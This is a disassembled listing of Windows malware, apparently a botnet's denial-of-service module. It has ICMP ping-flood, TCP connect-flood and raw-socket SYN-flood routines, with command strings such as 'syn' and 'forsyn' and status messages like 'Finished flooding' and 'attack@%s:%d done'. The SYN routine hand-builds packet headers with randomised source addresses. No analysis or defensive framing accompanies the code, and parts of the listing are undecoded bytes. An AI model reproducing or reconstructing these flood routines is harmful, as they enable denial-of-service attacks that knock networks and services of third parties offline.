		push	0FFFFFFFFh
		push	offset SEH_4265F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4265F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4266B0:				; CODE XREF: ___:loc_4016D1j
					; ___:0040217Bj
		push	esi
		mov	esi, ecx
		call	sub_4014C4
		test	byte ptr [esp+8], 1
		jz	short loc_4266C8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4266C8:				; CODE XREF: ___:004266BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266E0	proc near		; CODE XREF: sub_4011FEj ___:00402081j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402090
		test	[esp+4+arg_0], 1
		jz	short loc_4266F8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4266F8:				; CODE XREF: sub_4266E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4266E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426710	proc near		; CODE XREF: sub_402090j
		jmp	sub_4014C4
sub_426710	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426730	proc near		; CODE XREF: sub_401A41j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426730
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_40182F
		add	esp, 10h
		test	eax, eax
		jz	short loc_4267F4
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_42680E
; ---------------------------------------------------------------------------


loc_4267F4:				; CODE XREF: sub_426730+9Aj
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_42680E:				; CODE XREF: sub_426730+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_426730	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4268B0	proc near		; CODE XREF: sub_401E7Ej

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_4368D0
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		call	near ptr 28107EEh
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_42691A
		mov	edi, dword_50F8A0
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_50E100, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_50E104, eax
		call	edi
		mov	ecx, dword_50E100
		mov	dword_50E0FC, eax
		test	ecx, ecx
		jz	short loc_42691A
		mov	edx, dword_50E104
		test	edx, edx
		jz	short loc_42691A
		test	eax, eax
		jz	short loc_42691A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_426925


loc_42691A:				; CODE XREF: sub_4268B0+1Bj
					; sub_4268B0+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_4268B0+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_42693C
		mov	[esp+24h+arg_FFE8], eax


loc_42693C:				; CODE XREF: sub_4268B0+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_42694F
		mov	ebp, 1


loc_42694F:				; CODE XREF: sub_4268B0+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_426994


loc_426960:				; CODE XREF: sub_4268B0+E2j
		mov	al, byte_4D64A9
		test	al, al
		jz	short loc_426994
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_50E0FC	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_426960


loc_426994:				; CODE XREF: sub_4268B0+AEj
					; sub_4268B0+B7j
		push	edi
		call	dword_50E104	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_4268B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269F0	proc near		; CODE XREF: sub_40182Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E7E
		add	esp, 14h
		retn
sub_4269F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A30	proc near		; CODE XREF: sub_401BC7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426A30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0FC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426A30	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426AA0:				; CODE XREF: ___:00401A19j
					; ___:loc_401AAFj
		push	esi
		mov	esi, ecx
		call	sub_4017FD
		test	byte ptr [esp+8], 1
		jz	short loc_426AB8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426AB8:				; CODE XREF: ___:00426AADj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426AD0	proc near		; CODE XREF: sub_4017FDj
		jmp	sub_4014C4
sub_426AD0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426AF0	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426AF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E5D7F
		mov	[esp+2Ch+var_28], eax


loc_426B16:				; CODE XREF: sub_426AF0+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_426B27
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E66DF
		jl	short loc_426B16


loc_426B27:				; CODE XREF: sub_426AF0+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_426CD9
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E5D0Bh[eax*8]
		call	sub_4017E4
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		nop
		call	near ptr 71AB2B66h
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_426B90
		mov	dword ptr [ebp+68h], 5


loc_426B90:				; CODE XREF: sub_426AF0+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_50E10C
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_50E30C
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		nop
		call	near ptr 27B0AB9h
		test	eax, eax
		mov	dword_50E310, eax
		jz	short loc_426C2B
		push	offset dword_446F24
		push	5
		push	eax
		push	0
		push	offset dword_50E10C
		call	sub_4013E8
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_426C5B
; ---------------------------------------------------------------------------


loc_426C2B:				; CODE XREF: sub_426AF0+11Dj
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h


loc_426C5B:				; CODE XREF: sub_426AF0+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_401424
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_426CD9:				; CODE XREF: sub_426AF0+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_426AF0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426D70	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E5D0Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426E06
		push	ebp
		call	near ptr 71AB4FD4h
		nop
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_426DFF
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6725[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_426DFF:				; CODE XREF: sub_426D70+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_426E06:				; CODE XREF: sub_426D70+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_426EB6
		mov	ebx, dword_50FC30


loc_426E25:				; CODE XREF: sub_426D70+140j
		mov	al, byte_4D64A9
		test	al, al
		jz	loc_426EB6
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426E3B:				; CODE XREF: sub_426D70+EFj
		push	0
		push	1
		push	2
		call	ebx	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_426E5B
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB4519h
		nop


loc_426E5B:				; CODE XREF: sub_426D70+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_426E3B
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426E6A:				; CODE XREF: sub_426D70+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_426E6A
		mov	ecx, [ebp+68h]
		push	ecx
		call	near ptr 2870000h
		nop
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426E93:				; CODE XREF: sub_426D70+130j
		mov	edx, [esi]
		push	edx
		nop
		call	near ptr 71AB9639h
		add	esi, 4
		dec	edi
		jnz	short loc_426E93
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_426E25


loc_426EB6:				; CODE XREF: sub_426D70+A9j
					; sub_426D70+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6725[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_426D70	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426F40	proc near		; CODE XREF: sub_401DD9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426F40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E10C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426F40	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426FB0	proc near		; CODE XREF: ___:004016DBj sub_40181Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_426FC8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426FC8:				; CODE XREF: sub_426FB0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426FB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426FE0	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014C4
sub_426FE0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_427000	proc near		; CODE XREF: sub_401E92j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427000
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401DB6
sub_427000	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_427170	proc near		; CODE XREF: sub_401BB3j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021A3
sub_427170	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_427201
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_427201:				; CODE XREF: ___:004271E1j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		call	near ptr 71AB8769h
		nop
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_427234
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_427234:				; CODE XREF: ___:00427225j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427257


loc_42724A:				; CODE XREF: ___:004273FFj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_427257:				; CODE XREF: ___:00427248j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_50FC2C
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp	; ntohs
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp	; ntohs
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp	; ntohs
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		nop
		call	near ptr 2820861h
		mov	[esp+48h], eax
		mov	al, byte_4D64A9
		test	al, al
		jz	loc_4274AB
		mov	ebx, dword_50FABC
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_4272F5
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_4272F5:				; CODE XREF: ___:004272F1j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp	; ntohs
		push	14h
		mov	[esp+3Ah], ax
		call	ebp	; ntohs
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx	; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp	; ntohs
		mov	[esp+34h], ax
		call	ebx	; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx	; rand
		or	edi, eax
		push	edi
		call	ebp	; ntohs
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A28
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A28
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		call	near ptr 71AB2C69h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_42724A
		call	near ptr 2820861h
		nop
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_4274A7
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_427449
		push	2710h
		push	3E8h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_427449:				; CODE XREF: ___:0042742Ej
		push	0FFh
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 448B67E8h, 0A9A09002h, 84004D64h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4274A7:				; CODE XREF: ___:00427426j
		mov	edi, [esp+18h]


loc_4274AB:				; CODE XREF: ___:004272DBj
		push	edi
		nop
		call	near ptr 71AB9639h
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4275B0	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40187F
		mov	esi, eax
		nop
		call	near ptr 77C371D3h
		and	eax, 800001FFh
		jns	short loc_4275D1
		dec	eax
